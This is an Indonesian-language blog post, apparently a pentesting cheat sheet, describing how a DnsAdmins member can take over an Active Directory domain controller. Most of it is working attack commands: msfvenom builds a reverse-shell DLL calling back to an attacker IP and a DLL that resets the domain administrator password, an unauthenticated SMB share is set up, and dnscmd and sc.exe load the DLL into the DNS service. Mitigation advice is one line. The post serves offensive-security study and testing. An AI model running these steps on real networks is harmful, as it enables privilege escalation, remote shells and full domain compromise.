From DnsAdmins to SYSTEM to Domain Compromise
Menjadi member grup DnsAdmins memungkinkan kita untuk menggunakan perintah dnscmd.exe
untuk menentukan plugin DDL yang harus diproses oleh layanan DNS.
Dengan membuat malicious DLL, kita sebagai penyerang dapat mengambil alih Domain Controller.
Penjelasan tentang serangan dapat Anda baca di sini.
Tujuan
- Privilege escalation
Prasyarat
- User adalah member dari grup DnsAdmins
Tools
- Msfvenom
- Visual Studio
Tahapan eksploitasi
Step 1: Cek Keanggotaan Grup
1
PS> whoami /all
Step 2: Buat Malicious DLL
1
2
3
4
# metasploit
➜ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll
➜ msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > changeadmin.dll
Penggunaan
msfvenom
dapat membuat environment menjadi crash. Sebagai gantinya kita bisa membuat custom DLL yang lebih aman seperti pada artikel ini.
Step 3: Siapkan SMB Server
Tahapan ini dilakukan agar dnscmd.exe
dapat mengakses DLL yang ada pada SMB server kita.
1
2
# siapkan SMB server (tanpa otentikasi)
➜ lpe smbserver.py share .
1
2
# hubungkan target dengan SMB server kita
PS> net use \\10.10.14.3\share
Step 4: DLL Injection
1
2
3
4
5
6
# tambahkan DLL plugin ke DNS server
PS> dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.3\share\privesc.dll
# matikan dan nyalakan DNS agar plugin tereksekusi
PS> sc.exe <FQDN of DC/127.0.0.1> stop dns
PS> sc.exe <FQDN of DC/127.0.0.1> start dns
Mitigasi
Perhatikan kembali penentuan keanggotaan grup DnsAdmins.
Referensi
- https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
- https://www.youtube.com/watch?v=8KJebvmd1Fk&t=2740s
- https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
- https://github.com/dim0x69/dns-exe-persistance
This post is licensed under CC BY 4.0 by the author.